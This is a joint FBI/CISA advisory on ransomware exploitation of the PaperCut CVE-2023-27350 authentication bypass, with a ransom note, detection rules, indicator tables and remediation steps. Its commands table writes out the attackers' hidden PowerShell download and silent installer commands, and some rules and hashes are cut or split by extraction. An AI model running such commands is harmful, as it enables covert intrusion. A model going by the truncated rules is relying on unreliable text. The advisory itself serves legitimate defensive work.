Product ID: AA23-131A

May 11, 2023

Malicious Actors Exploit CVE-2023-27350 in PaperCut MF and NG

SUMMARY

The Federal Bureau of Investigation (FBI) and Cybersecurity and Infrastructure Security Agency (CISA) are releasing this joint Cybersecurity Advisory (CSA) in response to the active exploitation of CVE-2023-27350. This vulnerability occurs in certain versions of PaperCut NG and PaperCut MF and enables an unauthenticated actor to execute malicious code remotely without credentials. PaperCut released a patch in March 2023.

According to FBI information, malicious actors exploited CVE-2023-27350 beginning in mid-April 2023 and continuing through the present. In early May 2023, also according to FBI information, a group self-identifying as the Bl00dy Ransomware Gang attempted to exploit vulnerable PaperCut servers against the Education Facilities Subsector.

This joint advisory provides detection methods for exploitation of CVE-2023-27350 as well and indicators of compromise (IOCs) associated with Bl00dy Ransomware Gang activity. FBI and CISA strongly encourage users and administrators to immediately apply patches, and workarounds if unable to patch. FBI and CISA especially encourage organizations who did not patch immediately to assume compromise and hunt for malicious activity using the detection signatures in this CSA. If potential compromise is detected, organizations should apply the incident response recommendations included in this CSA.

TECHNICAL DETAILS

Vulnerability Overview

CVE-2023-27350 allows a remote actor to bypass authentication and conduct remote code execution on the following affected installations of PaperCut:[1]

- Version 8.0.0 to 19.2.7
- Version 20.0.0 to 20.1.6
- Version 21.0.0 to 21.2.10
- Version 22.0.8

To report suspicious or criminal activity related to information found in this joint Cybersecurity Advisory, contact your local FBI field office or CISA's 24/7 Operations Center at Report@cisa.gov or (888) 282-0870. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.

PaperCut servers vulnerable to CVE-2023-27350 implement improper access controls in the `SetupCompleted` Java class, allowing malicious actors to bypass user authentication and access the server as an administrator. After accessing the server, actors can leverage existing PaperCut software features for remote code execution (RCE). There are currently two publicly known proofs of concept for achieving RCE in vulnerable PaperCut software:

- Using the print scripting interface to execute shell commands.
- Using the User/Group Sync interface to execute a living-off-the-land-style attack.

FBI and CISA note that actors may develop other methods for RCE.

The PaperCut server process `pc-app.exe` runs with SYSTEM- or root-level privileges. When the software is exploited to execute other processes such as `cmd.exe` or `powershell.exe`, these child processes are created with the same privileges. Commands supplied with the execution of these processes will also run with the same privileges. As a result, a wide range of post-exploitation activity is possible following initial access and compromise.

This CVE was added to CISA's Known Exploited Vulnerabilities (KEV) Catalog on April 21, 2023.

Threat Actor Activity

Education Facilities Subsector entities maintained approximately 68% of exposed, but not necessarily vulnerable, U.S.-based PaperCut servers. In early May 2023, according to FBI information, the Bl00dy Ransomware Gang gained access to victim networks across the Education Facilities Subsector where PaperCut servers vulnerable to CVE-2023-27350 were exposed to the internet. Ultimately, some of these operations led to data exfiltration and encryption of victim systems. The Bl00dy Ransomware Gang left ransom notes on victim systems demanding payment in exchange for decryption of encrypted files (see Figure 1).

```
Hello

! ! ! Bl00dy Ransomware Gang is Back ! ! !

! ! ! Either You Pay Us OR Get Your Company Files/documents Leaked Online For Free ! ! !

Write to our email ; name your price
decrypt.support@privyonline.com
All computers is hacked and infected with ransomware virus.

*All files/documents/software with '.DRTTY' extension is encrypted*
This means All your computer files,databases,browsers,backups softwares and more
are encrypted . and it is not usable / you cannot open.
ALL Nas, Vcenter, Exsi servers are encrypted

This means you cannot use the files on  computers anymore.

All encrypted files can only be used or get back to original form
only if you pay for the decryptor software from us , to get all your files back.

*There is no public decryption software. Only our team can help*
We take the money only through Bitcoin and Other crypto.
How to contact our team through tox chat

Download tox chat from
https://tox.chat/download.html
send us friend request to tox chat id

E3213A199CDA7618AC22486EFECBD9F8E049AC36094D56AC1BFBE67EB9C3CF2352CAE9EBD35F

Our team is waiting

> > > >  NOTE ! ! !
We are not affiliated or related to any religion, government or entity
Just kindly PAY the ransom and get Decryption software immediately
After payment received we will send private key and decryption software to your IT department ! !
!

Free decryption As a guarantee you can send us up to 3 free decrypted files before payment

! ! ! We have downloaded all your files to our servers and will release data if you do not comply
! ! !
! ! !Do not attempt to decrypt your data using third-party software this will result in permanent
data loss ! ! !
```

Figure 1: Example Bl00dy Gang Ransomware Note

According to FBI information, legitimate remote management and maintenance (RMM) software was downloaded and executed on victim systems via commands issued through PaperCut's print scripting interface. External network communications through Tor and/or other proxies from inside victim networks helped Bl00dy Gang ransomware actors mask their malicious network traffic. The FBI also identified information relating to the download and execution of command and control (C2) malware such as DiceLoader, TrueBot, and Cobalt Strike Beacons, although it is unclear at which stage in the attack these tools were executed.

DETECTION METHODS

Network defenders should focus detection efforts on three key areas:

- Network traffic signatures – Look for network traffic attempting to access the `SetupCompleted` page of an exposed and vulnerable PaperCut server.
- System monitoring – Look for child processes spawned from a PaperCut server's `pc-app.exe` process.

- Server settings and log files – Look for evidence of malicious activity in PaperCut server settings and log files.

Network Traffic Signatures

To exploit CVE-2023-27350, a malicious actor must first visit the `SetupCompleted` page of the intended target, which will provide the adversary with authentication to the targeted PaperCut server. Deploy the following Emerging Threat Suricata signatures to detect when `GET` requests are sent to the `SetupCompleted` page. (Be careful of improperly formatted double-quotation marks if copying and pasting signatures from this advisory.)

Note that some of the techniques identified in this section can affect the availability or stability of a system. Defenders should follow organizational policies and incident response best practices to minimize the risk to operations while threat hunting.

```
alert http any any -> $HOME_NET any (\
  msg:"ET EXPLOIT PaperCut MF/NG SetupCompleted Authentication Bypass (CVE-2023-27350)"; \
  flow:established,to_server; \
  http.method; content:"GET"; \
  http.uri; content:"/app?service=page/SetupCompleted"; bsize:32; fast_pattern; \
  reference:cve,2023-27350; \
  classtype:attempted-admin; \
```

```
alert http any any -> $HOME_NET any (msg:"ET EXPLOIT PaperCut MF/NG
SetupCompleted Authentication Bypass (CVE-2023-27350)";
flow:established,to_server; http.method; content:"GET"; http.uri;
content:"page/SetupCompleted"; fast_pattern;
reference:url,www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-
management-software; reference:cve,2023-27350; classtype:attempted-admin;
metadata:attack_target Server, cve CVE_2023_27350, deployment Perimeter,
deployment Internal, deployment SSLDecrypt, former_category EXPLOIT,
performance_impact Low, confidence High, signature_severity Major, updated_at
2023_05_05;)
```

Note that these signatures and other rule-based detections, including YARA rules, **may fail** to detect more advanced iterations of CVE-2023-27350 exploits. Actors are known to adapt exploits to circumvent rule-based detections formulated for the original iterations of exploits observed in the wild. For example, the first rule above detected some of the first known exploits of CVE-2023-27350, but a

slight modification of the exploit's `GET` request can evade that rule. The second rule was designed to detect a broader range of activity than the first rule.

The following additional Emerging Threat Suricata signatures are designed to detect Domain Name System (DNS) lookups of known malicious domains associated with recent PaperCut exploitation:

```
alert dns $HOME_NET any -> any any (msg:"ET TROJAN Possible PaperCut MF/NG
Post Exploitation Domain in DNS Lookup (windowcsupdates .com)"; dns_query;
content:"windowcsupdates.com"; nocase; isdataat:!1,relative;
pcre:"/(?:^|\.)windowcsupdates\.com$/";
reference:url,www.huntress.com/blog/critical-vulnerabilities-in-papercut-
print-management-software; classtype:trojan-activity;
metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit,
attack_target Client_Endpoint, deployment Perimeter, former_category
MALWARE, performance_impact Low, signature_severity Major, updated_at
2023_04_21;)
```

```
alert dns $HOME_NET any -> any any (msg:"ET ATTACK_RESPONSE Possible
PaperCut MF/NG Post Exploitation Domain in DNS Lookup (anydeskupdate
.com)"; dns_query; content:"anydeskupdate.com"; nocase;
isdataat:!1,relative; pcre:"/(?:^|\.)anydeskupdate\.com$/";
reference:url,www.huntress.com/blog/critical-vulnerabilities-in-papercut-
print-management-software; classtype:trojan-activity;
metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit,
attack_target Client_Endpoint, deployment Perimeter, former_category
MALWARE, performance_impact Low, signature_severity Major, updated_at
2023_04_21;)
```

```
alert dns $HOME_NET any -> any any (msg:"ET TROJAN Possible PaperCut MF/NG
Post Exploitation Domain in DNS Lookup (anydeskupdates .com)"; dns_query;
content:"anydeskupdates.com"; nocase; isdataat:!1,relative;
pcre:"/(?:^|\.)anydeskupdates\.com$/";
reference:url,www.huntress.com/blog/critical-vulnerabilities-in-papercut-
print-management-software; classtype:trojan-activity;
metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit,
attack_target Client_Endpoint, deployment Perimeter, former_category
MALWARE, performance_impact Low, signature_severity Major, updated_at
2023_04_21;)
```

```
alert dns $HOME_NET any -> any any (msg:"ET TROJAN Possible PaperCut MF/NG
Post Exploitation Domain in DNS Lookup (windowservicecemter .com)";
```

```
dns_query; content:"windowservicecemter.com"; nocase; isdataat:!1,relative;
pcre:"/(?:^|\.)windowservicecemter\.com$/";
reference:url,www.huntress.com/blog/critical-vulnerabilities-in-papercut-
print-management-software; classtype:trojan-activity;
metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit,
attack_target Client_Endpoint, deployment Perimeter, former_category
MALWARE, performance_impact Low, signature_severity Major, updated_at
2023_04_21;)
```

```
alert dns $HOME_NET any -> any any (msg:"ET ATTACK_RESPONSE Possible
PaperCut MF/NG Post Exploitation Domain in DNS Lookup (winserverupdates
.com)"; dns_query; content:"winserverupdates.com"; nocase;
isdataat:!1,relative; pcre:"/(?:^|\.)winserverupdates\.com$/";
reference:url,www.huntress.com/blog/critical-vulnerabilities-in-papercut-
print-management-software; classtype:trojan-activity;
metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit,
attack_target Client_Endpoint, deployment Perimeter, former_category
MALWARE, performance_impact Low, signature_severity Major, updated_at
2023_04_21;)
```

```
alert dns $HOME_NET any -> any any (msg:"ET TROJAN Possible PaperCut MF/NG
Post Exploitation Domain in DNS Lookup (netviewremote .com)"; dns_query;
content:"netviewremote.com"; nocase; isdataat:!1,relative;
pcre:"/(?:^|\.)netviewremote\.com$/";
reference:url,www.huntress.com/blog/critical-vulnerabilities-in-papercut-
print-management-software; classtype:trojan-activity;
metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit,
attack_target Client_Endpoint, deployment Perimeter, former_category
MALWARE, performance_impact Low, signature_severity Major, updated_at
2023_04_21;)
```

```
alert dns $HOME_NET any -> any any (msg:"ET TROJAN Possible PaperCut MF/NG
Post Exploitation Domain in DNS Lookup (updateservicecenter .com)";
dns_query; content:"updateservicecenter.com"; nocase; isdataat:!1,relative;
pcre:"/(?:^|\.)updateservicecenter\.com$/";
reference:url,www.huntress.com/blog/critical-vulnerabilities-in-papercut-
print-management-software; classtype:trojan-activity;
metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit,
attack_target Client_Endpoint, deployment Perimeter, former_category
```

```
MALWARE, performance_impact Low, signature_severity Major, updated_at
2023_04_21;)
```

```
alert dns $HOME_NET any -> any any (msg:"ET TROJAN Possible PaperCut MF/NG
Post Exploitation Domain in DNS Lookup (windowservicecenter .com)";
dns_query; content:"windowservicecenter.com"; nocase; isdataat:!1,relative;
pcre:"/(?:^|\.)windowservicecenter\.com$/";
reference:url,www.huntress.com/blog/critical-vulnerabilities-in-papercut-
print-management-software; classtype:trojan-activity;
metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit,
attack_target Client_Endpoint, deployment Perimeter, former_category
MALWARE, performance_impact Low, signature_severity Major, updated_at
2023_04_21;)
```

```
alert dns $HOME_NET any -> any any (msg:"ET TROJAN Possible PaperCut MF/NG
Post Exploitation Domain in DNS Lookup (windowservicecentar .com)";
dns_query; content:"windowservicecentar.com"; nocase; isdataat:!1,relative;
pcre:"/(?:^|\.)windowservicecentar\.com$/";
reference:url,www.huntress.com/blog/critical-vulnerabilities-in-papercut-
print-management-software; classtype:trojan-activity;
metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit,
attack_target Client_Endpoint, deployment Perimeter, former_category
ATTACK_RESPONSE, performance_impact Low, signature_severity Major,
updated_at 2023_04_21;)
```

Note that these signatures may also not work if the actor modified activity to evade detection by known rules.

System Monitoring

A child process is spawned under `pc-app.exe` when the vulnerable PaperCut software is used to execute another process, which is the PaperCut server process. Malicious activity against PaperCut servers in mid-April used the RCE to supply commands to a `cmd.exe` or `powershell.exe` child process, which were then used to conduct further network exploitation. The following YARA rule may detect malicious activity[2].

```
title: PaperCut MF/NG Vulnerability

authors: Huntress DE&TH Team

description: Detects suspicious code execution from vulnerable PaperCut versions
MF and NG

logsource:

  category: process_creation
```

```
  product: windows
detection:
  selection:
    ParentImage|endswith: “\\pc-app.exe”
    Image|endswith:
      - “\\cmd.exe”
      - “\\powershell.exe”
  condition: selection
level: high
falsepositives:
  - Expected admin activity
```

More advanced versions of the exploit can drop a backdoor executable, use living-off-the-land binaries, or attempt to evade the above YARA rule by spawning an additional child process in-between `pc-app.exe` and a command-line interpreter.

Server Settings and Log Files

Network defenders may be able to identify suspicious activity by reviewing the PaperCut server options to identify unfamiliar print scripts or User/Group Sync settings.

If the PaperCut Application Server logs have debug mode enabled, lines containing `SetupCompleted` at a time not correlating with the server installation or upgrade may be indicative of a compromise. Server logs can be found in `[app-path]/server/logs/*.*` where `server.log` is normally the most recent log file.

Any of the following server log entries may be indicative of a compromise:

- `User "admin" updated the config key “print.script.sandboxed”`
- `User "admin" updated the config key “device.script.sandboxed”`
- `Admin user "admin" modified the print script on printer`
- `User/Group Sync settings changed by "admin"`

Indicators of Compromise

See Table 1 through Table 6 for IOCs obtained from FBI investigations and open-source information as of early May 2023.

Table 1: BI00dy Gang Ransomware Email Addresses

Email Addresses
decrypt.support@privyonline[.]com
fimaribahundqf@gmx[.]com
main-office@data-highstream[.]com
prepalkeinuc0u@gmx[.]com
tpyrcne@onionmail[.]org

Table 2: BI00dy Gang Ransomware Tox ID

Tox ID
E3213A199CDA7618AC22486EFECBD9F8E049AC36094D56AC1BFBE67EB9C3CF2352CAE9EBD35F

Table 3: BI00dy Gang Ransomware IP addresses

IP Address	Port	Date	Description
102.130.112[.]157	-	April 2023	N/A
172.106.112[.]46	-	April 2023	Resolves to Tor node. Network communications with `nethelper.exe`.
176.97.76[.]163	-	April 2023	Resolves to datacenter Tor node.
192.160.102[.]164		April 2023	Resolves to Tor node. Network communications with `nethelper.exe`.
194.87.82[.]7	-	April 2023	TrueBot C2. DiceLoader malware.
195.123.246[.]20	-	April 2023	TrueBot C2. DiceLoader malware.
198.50.191[.]95		April 2023	Resolves to Tor node. Network communications with `nethelper.exe`.
206.197.244[.]75	443	April 2023	N/A
216.122.175[.]114		April 2023	Outbound communications from powershell.exe.
46.4.20[.]30		April 2023	Resolves to Tor node. Network communications with `nethelper.exe`.

IP Address	Port	Date	Description
5.188.206[.]14	-	April 2023	N/A
5.8.18[.]233	-	April 2023	Cobalt Strike C2.
5.8.18[.]240	-	April 2023	Cobalt Strike C2.
80.94.95[.]103	-	April 2023	N/A
89.105.216[.]106	443	April 2023	Resolves to Tor node. Network communications with `nethelper.exe`.
92.118.36[.]199	9100, 443	April 2023	Outbound communications from `svchost.exe`.
http://192.184.35[.]216:443/4591187629.exe	-	April 2023	File `4591187629.exe` is possibly cryptominer malware.

Table 4: BI0Ody Gang Ransomware Domains

Malicious Domain	Description
anydeskupdate[.]com	N/A
anydeskupdates[.]com	N/A
ber6vjyb[.]com	Associated with TrueBot C2
netviewremote[.]com	N/A
study.abroad[.]ge	Associated with Cobalt Strike Beacon
upd343.winserverupdates[.]com	Associated with Cobalt Strike Beacon
upd488.windowservicecemter[.]com	Associated with TrueBot payload
upd488.windowservicecemter[.]com/download/update.dll	File: Cobalt Strike Beacon
updateservicecenter[.]com	N/A
windowcsupdates[.]com	N/A
windowservicecemter[.]com	Associated with TrueBot payload
windowservicecentar[.]com	N/A
windowservicecenter[.]com	N/A
winserverupdates[.]com	N/A

winserverupdates[.]com	N/A

Table 5: BI00dy Gang Ransomware Known Commands

Command	Description
cmd /c “powershell.exe -nop -w hidden	Launches `powershell.exe` in a hidden window without loading the user's PowerShell profile.
Invoke-WebRequest ‘<url>/setup.msi’ -OutFile ‘setup.msi’ ”	Downloads `setup.msi`, saving it as setup.msi, in the current PowerShell working directory.
cmd /c “msiexec /i setup.msi /qn IntegratorLogin=<email_address> CompanyId=1”	Installs legitimate Atera RMM software on the system silently, with the specified email address and company ID properties.

Table 6: BI00dy Gang Ransomware Malicious Files

File	SHA-256	Description
/windows/system32/config/systemprofile/appdata/roaming/tor/	N/A	Unspecified files created in Tor directory
/windows/temp/socks.exe	6bb160ebdc59395882ff322e67e000a22a5c54ac777b6b1f10f1fef381df9c15	Reverse SOCKS5 tunneler with TLS support (see https://github.com/kost/revsocks)
/windows/temp/servers.txt	N/A	Unspecified content within servers.txt file; likely a list of proxy servers for `revsocks(socks.exe)`
ld.txt	c0f8aeeb2d11c6e751ee87c40ee609aceb1c1036706a5af0d3d78738b6cc4125	TrueBot malware
nethelper.exe	N/A	Unknown file used to send outbound communications through Tor
update.dll	0ce7c6369c024d497851a482e011ef1528ad270	Cobalt Strike Beacon

File	SHA-256	Description
	e83995d52213276edbe71403f	

INCIDENT RESPONSE

If compromise is suspected or detected, organizations should:

1. Create a backup of the current PaperCut server(s).
2. Wipe the PaperCut Application Server and/or Site Server and rebuild it.
3. Restore the database from a "safe" backup point. Using a backup dated prior to April 2023 would be prudent, given that exploitation in the wild exploitation began around early April.
4. Execute additional security response procedures and carry out best practices around potential compromise.
5. Report the compromise to CISA via CISA's 24/7 Operations Center (report@cisa.gov or 888-282-0870). The FBI encourages recipients of this document to report information concerning suspicious or criminal activity to their local FBI field office or IC3.gov. Regarding specific information that appears in this communication, the context and individual indicators, particularly those of a non-deterministic or ephemeral nature (such as filenames or IP addresses), may not be indicative of a compromise. Indicators should always be evaluated in light of an organization's complete information security situation.

MITIGATIONS

FBI and CISA recommend organizations:

- **Upgrade PaperCut to the latest version**.
- **If unable to immediately patch, ensure vulnerable PaperCut servers are not accessible over the internet** and implement one of the following network controls:
  - Option 1: External controls: Block all inbound traffic from external IP addresses to the web management portal (port 9191 and 9192 by default).
  - Option 2: Internal and external controls: Block all traffic inbound to the web management portal. Note: The server cannot be managed remotely after this step.
- **Follow best cybersecurity practices** in your production and enterprise environments, including mandating phishing-resistant multifactor authentication (MFA) for all staff and for all services. For additional best practices, see CISA's Cross-Sector Cybersecurity Performance Goals (CPGs). The CPGs, developed by CISA and the National Institute of Standards and Technology (NIST), are a prioritized subset of IT and OT security practices that can meaningfully reduce the likelihood and impact of known cyber risks and common TTPs. Because the CPGs are a subset of best practices, CISA and FBI also recommend all organizations implement a comprehensive information security program based on a recognized framework, such as the NIST Cybersecurity Framework (CSF).

ACKNOWLEDGMENTS

The Multi-State Information Sharing and Analysis Center (MS-ISAC) contributed to this advisory.

REFERENCES

[1] PaperCut: URGENT | PaperCut MF/NG vulnerability bulletin (March 2023)

[2] Huntress: Critical Vulnerabilities in PaperCut Print Management Software